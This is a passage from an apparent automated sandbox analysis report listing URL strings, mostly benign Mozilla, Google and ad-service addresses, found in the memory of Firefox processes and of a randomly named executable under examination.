Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB69E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulgetCanUseBits
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulpruneAttachments/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB69E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB69E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserUsageTelemet
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593993071.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000003.2227751133.000001F3FEF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2220456983.000001F3FEF4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2218571898.000001F3FED00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/getElementForAttrInheritance
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB575000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://accounts.google.com
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp, MediaDeviceSalts.31.dr, 000003.log3.31.dr String found in binary or memory: https://accounts.google.com/
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp, History.31.dr String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_s
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757465880.000001F401003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp, History.31.dr, places.sqlite-wal.28.dr String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.orgaccount-connection-disconnectedshowBadgeOnlyNotificationpictureinpicture.s
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp--autocomplete-popup-separator-colorcolor-mix(in
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://apis.google.com
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://app.adjust.com/a8bxj8j?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB557000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2593833756.000001F3EF50D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: firefox.exe, 0000001C.00000002.2744297021.000001F3FF836000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180unified-nav-back
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022CF0000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022CF0000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2220456983.000001F3FEF4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2218571898.000001F3FED00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2496833578.000001F40043C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2228882591.000001F3FEF87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FAC51000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/report-to/youtube_main
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarning
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
